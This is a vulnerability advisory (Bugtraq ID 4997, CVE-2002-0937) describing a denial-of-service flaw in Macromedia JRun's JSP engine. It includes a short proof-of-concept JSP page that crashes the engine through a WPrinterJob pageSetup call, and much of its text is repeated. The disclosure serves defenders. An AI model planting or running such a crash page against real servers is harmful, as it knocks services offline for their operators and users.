Macromedia JRun JSP Engine Denial Of Service Vulnerability
BID:4997
Info
Macromedia JRun JSP Engine Denial Of Service Vulnerability
| Bugtraq ID: | 4997 |
| Class: | Failure to Handle Exceptional Conditions |
| CVE: |
CVE-2002-0937 |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 12 2002 12:00AM |
| Updated: | Jul 11 2009 01:56PM |
| Credit: | Discovery credited to Marc Schoenefeld <[email protected]>. |
| Vulnerable: |
Macromedia JRun 4.0 Macromedia JRun 3.1 Macromedia JRun 3.0 |
| Not Vulnerable: | |
Discussion
Macromedia JRun JSP Engine Denial Of Service Vulnerability
A vulnerability has been reported in Macromedia JRun for Windows that results in a denial of service condition. The vulnerability occurs when JRun encounters a malicious JSP page.
The following snippet of code is reported to crash the JRun JSP engine:
new WPrinterJob().pageSetup(null,null);
A vulnerability has been reported in Macromedia JRun for Windows that results in a denial of service condition. The vulnerability occurs when JRun encounters a malicious JSP page.
The following snippet of code is reported to crash the JRun JSP engine:
new WPrinterJob().pageSetup(null,null);
Exploit / POC
Macromedia JRun JSP Engine Denial Of Service Vulnerability
The following proof of concept was provided by Marc Schoenefeld <[email protected]>:
<%@ page contentType="text/html;charset=UTF-8" pageEncoding="iso-8859-1"
%>
<%@ page import="sun.awt.windows.*" %>
<%! %>
<%
//
%>
<html>
<head>
<title>aa</title>
</head>
<body>
<p>
<FONT SIZE="+2">dON/T TR1 thiz @ home</font>
</p>
<%
new WPrinterJob().pageSetup(null,null);
%>
</body>
</html>
The following proof of concept was provided by Marc Schoenefeld <[email protected]>:
<%@ page contentType="text/html;charset=UTF-8" pageEncoding="iso-8859-1"
%>
<%@ page import="sun.awt.windows.*" %>
<%! %>
<%
//
%>
<html>
<head>
<title>aa</title>
</head>
<body>
<p>
<FONT SIZE="+2">dON/T TR1 thiz @ home</font>
</p>
<%
new WPrinterJob().pageSetup(null,null);
%>
</body>
</html>
Solution / Fix
Macromedia JRun JSP Engine Denial Of Service Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Macromedia JRun JSP Engine Denial Of Service Vulnerability
References:
References:
- [VulnWatch] Generic Crash-JSP (Rain Forest Puppy
- JRun Homepage (Adobe)